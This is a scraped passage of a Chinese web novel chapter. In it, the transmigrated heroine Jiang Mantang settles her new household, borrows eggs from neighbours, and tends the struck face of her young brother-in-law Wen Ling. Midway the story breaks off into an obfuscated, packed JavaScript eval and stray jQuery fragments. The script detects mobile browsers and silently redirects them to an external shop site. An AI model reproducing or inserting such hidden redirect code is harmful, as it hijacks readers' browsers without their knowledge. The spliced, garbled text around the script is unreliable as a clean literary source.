温时琢垂眸,将堂屋内的木凳扶起。
“因为我们守不住,”他并不觉得这个做法有问题,甚至可以称得上明智,“世上财帛动人心,不怕贼偷,又怕有人不时惦念,常常算计,而如今,我们从温家分出来,局面比起之前也没好到哪里去,若是再逢上周遭冷眼、嫉妒,我们自然不求着旁人时时帮扶我们,但搏个好名声,让大家晓得我们身上无利可图,本性良善又过得困苦艰难,任谁瞧见,都难免掀起心底怜意,不至于落井下石。”
“而且,阿令,”泛白的长袍衣袖垂地,他抬起眼眸,长睫上掀,压出一道深邃,“那不是温家大房的家财田产,而是她的嫁妆,她做何决定,是捐、是送,亦或者打赏挥霍,我们都无权去过问,更不可干涉。”
“阿琢看得透彻,”女子清越的声音响起,姜满棠抬步跨过门槛,“匹夫无罪,怀璧其罪,多数人愚昧无知,今儿见山是山,明儿可能就是矿山,后儿便能是金山。”
“北边流民少,但匪患多,”方才纷杂,姜满棠只是粗略打量了几眼,如今才将他们和屋子看得清晰,“我们身负巨财在明,窥看妒忌者在暗,若再是个有心人,轻而易举便能致我们死于非命。”
“我们从温家分出来,你们是要跟着我立女户的,我也是初次掌家,自是不会逼迫你们接纳我,但名义上,我是你们的长嫂,理应抚育你们成人,护佑你们安危,你们可以将我看做长嫂,长姐,先生,”姜满棠坐在圆木凳上,食指指节扣着桌面,“但在你们弱冠及笄之年,要给我一个初卷。”
温令冷哼一声,倨傲的偏过头,垂眸便看见温淳和温姎眨着又圆又大的眼睛,懵懂好奇的歪着头看姜满棠。
反倒是温时琢思忖片刻,声音缓缓,透着少年气:“是什么样的初卷?”
姜满棠眉眼微弯,侧眸看向庭院虚白时,刚好对上温姎有些羞涩,又有些诧异目光,见姜满棠看来,唇边便漾起了笑,梨涡衬得她甜滋滋的。
她唇边笑意延展,将温姎抱在膝上:“我也不知道那是一张怎么样的考卷,顺其自然,总会在日复一日中,寻求出最合宜的策论和回文。此时的重中之重,是给阿令看伤,家里可有药酒?”
温令一怔,方才并无察觉的伤口,在轻问在意中传来了细细密密的疼痛,仿佛在刹那间,所有曾经忍下藏匿的委屈和苦楚都如惊涛拍浪,心里酸酸涨涨,眉毛拧在一起:“别这么叫我。”
温时琢摇了摇头,长睫垂落:“那东西,怎么会舍得给我们用。”
温令闻言,也不由抿唇,抬眸瞥了眼沉默的姜满棠,以为她终于是嫌着麻烦,也怕她觉得他是个累赘:“村里叔婶头痛脑热都不会去寻医问药,家里也更不会备这些东西,更何况小孩子磕磕碰碰更是难免的,不用为我费心。”
姜满棠拍着温姎的后背,动作轻缓,带着几分漫不经心,良久,才应着声,将温姎放下,起身走了出去。
“二哥,”温令沉不住气,早在方才姜满棠不言不语时,他心下就在打鼓,“你说她会不会……”就抛下他们走了。
在温时琢看过来时,声音又逐渐偃旗息鼓,半晌,耳畔传来兄长笃定的语调:“不会。”
姜满棠确实没这个打算,这家里又缺东少西的,以前和系统混迹各个世界的奖励不是用来增强体魄,便是兑换新世界生存技能,008更是个以绝地求生闻名的系统,它和姜满棠决定成为合作伙伴,便是都认同靠自己脚踏实地来吃饱饭。
即便有段时间以空间、金手指闻名且大热,被主系统开了天梯的系统横空而出,都被如像008这种又强势又暴力的系统压得死死的,最终也不过是萎靡的昙花一现。
和008解绑时,008将这具身体的体魄复原到了她的鼎盛时期后,就只留下了一息信号用来紧急求生,不过好在008有承诺,之前学习各类手艺的记忆没被充公收回。
姜满棠走到钱家门口,推着上面的铁环敲门,来开门的刚好是孙氏的儿媳妇文氏:“文嫂嫂。”
文橙一边拉着姜满棠进门,一边朝着堂屋喊:“娘,小棠过来了。”
孙氏赶忙笑着出来,拍了下文橙:“成天没规没矩的,人家姜丫头可未必比你小。”
“没事,文嫂嫂年纪是虚长我几月,叫什么都行,”姜满棠任由孙氏牵着,看向文橙。
文橙咧着唇,笑的有些豪爽:“我就说嘛,她看着就小,长得嫩生生的。”
闻言,连孙氏都忍不住笑了,转而看向姜满棠,才问:“可是出什么事了,墙开始砌了?我家那老头子和儿子都过去了,莫不是没砌明白?”
嘴上说着,孙氏就要拉着姜满棠和文橙去看,姜满棠急忙拦了拦:“是这样,令哥儿那孩子为了琢哥儿不被过继,反抗的激烈,被二叔打了一巴掌,脸现在还肿着,我家那个情况,您也知道,我听琢哥儿说村子里不常寻医,就想着借几颗鸡蛋,给令哥儿滚滚。”
“这个挨千刀的温砌,”孙氏咬牙骂了一句,就连文橙也听得蹙了眉,她也是有孩子的,若是穗哥儿挨了人一耳光,即便那个人是公婆,她也是拼命的,孙氏连忙拉着姜满棠到鸡圈。
姜满棠垂眸,有些新奇的看向圈里的鸡鸭,心下盘算着也买一些来养,不然院子挪出那么些空余,没什么热闹气:“等明儿从集市上买来新的,我再来还给孙婶。”
“什么话,村里各家养鸡,这东西贱的都换不了几根蔬菜,还要你来还?”孙氏拿个竹子编织的篓,捡了十个鸡蛋,又挥手让文橙给她舀了两大碗面粉,见姜满棠推拒,连忙沉下脸,“就当贺你立户开灶,村里的规矩。”
文橙见姜满棠一副承着恩情,一定记着回报的模样,只觉得好笑,将篓子塞进她怀里后,就和孙氏一起背着手,生怕姜满棠塞回来:“就是,快别推辞,咱们这不兴拉拉扯扯。”
“别谢来谢去,快回去,温砌没轻没重,令哥儿的脸指定严重。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387219|141102||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
姜满棠想着温令的脸,只好点点头,转身先回了温家,砌墙的人也都来的差不多了,都是方才各家的叔伯带着自家孩子:“阿伯,把这间厢房砸掉。”
她抬手,指向正堂屋侧边分来的东厢房,想着这个位置午后阴寒,并不适合人住,砸掉之后院子看着会更敞亮。
“好嘞,丫头你放心,乔姐儿和老钱都跟我们说了,叔伯们肯定给你砌的平整牢固,你快别操心。”乔迁挥了挥手,就连忙低头和着泥。
姜满棠确实没在这儿耽搁,温令还没过六周岁的生辰,乳牙未退,骨骼也还没完全长好,温砌再虚也是个过了而立之年的男人。
姜满棠往庖厨方向走去,心下思量着,等明日去了集市还是要拿些药回来。
庖厨里堆着柴,灶台缺了一角,但勉强能用,姜满棠捡了几块不那么潮的小柴,蹲在地上,柴头抵着躺倒的木柴,用力搓了几下就生起白烟。
随后有条不紊的把柴火扔进灶堂,动作慢条斯理,一边借着热锅,舀了缸里存水刷锅,一边从篓子里捡了四个鸡蛋,洗干净后,冷水下锅煮。
姜满棠拎过小斧头,将柴劈成小块,扔进灶堂,看着火的功夫,打量着庖厨,想着赚钱的法子。
这个世道,指定是盐、酒的银子来的快,但盐酒都在朝廷的管控,盈利是可观但商税也不低。
吃食上,鸡蛋都是借来的,也就手工艺上,还能拿得出手,只是这原料……
姜满棠将那两碗面粉全部倒在罐里,用醋溶水,将面揉成团盖严后,捞出锅里的四个鸡蛋。
端着进了堂屋,温令率先看了过来,见她端着碗,不由一愣。
温淳撑着地,耸着鼻子起身,踉跄跑到桌边,和温姎一模一样的眼睛,直勾勾的看着姜满棠,蓦然一亮。
姜满棠被他逗的一乐,抬手捏了下他的脸颊,又看了一眼温时琢抱着的温姎,略微发现了丝不对劲。
按理说三岁的孩童,正是牙牙学语的时候,不该是这么静,除了哑声哭时,发不出一丝音节,那便只能是不会说话。
“都过来,”姜满棠怕鸡蛋凉了,就没再深思,扯下衣角的布料,包着一个鸡蛋,“阿琢,带着阿淳和姎姎把鸡蛋吃了。”
温时琢看着碗里的四个鸡蛋,诧异的抬眸,没人比他更知道家里的情况,庖厨里只有几小罐并不值什么银钱的醯?、豉一类。
“从钱叔和孙婶家里借的,明儿去了集市再买来还他们,快吃吧。”姜满棠抬了抬下颌,朝他示意,而后抬手,落在温令的后颈,温令头上的碎发都炸了起来,本想低头甩开后颈的手,但仿佛黏在他的后颈上一般,挣脱不掉。
她眉尾轻扬,心道,年纪不大,脾气还挺倔。
也不管他乐不乐意,将鸡蛋按在他的脸上揉,温令被疼得倒吸了一口气,却强忍着没吭声。
姜满棠有几分玩味,偏勾着唇角,只是声线带着些许凉意:“还挺能忍的。”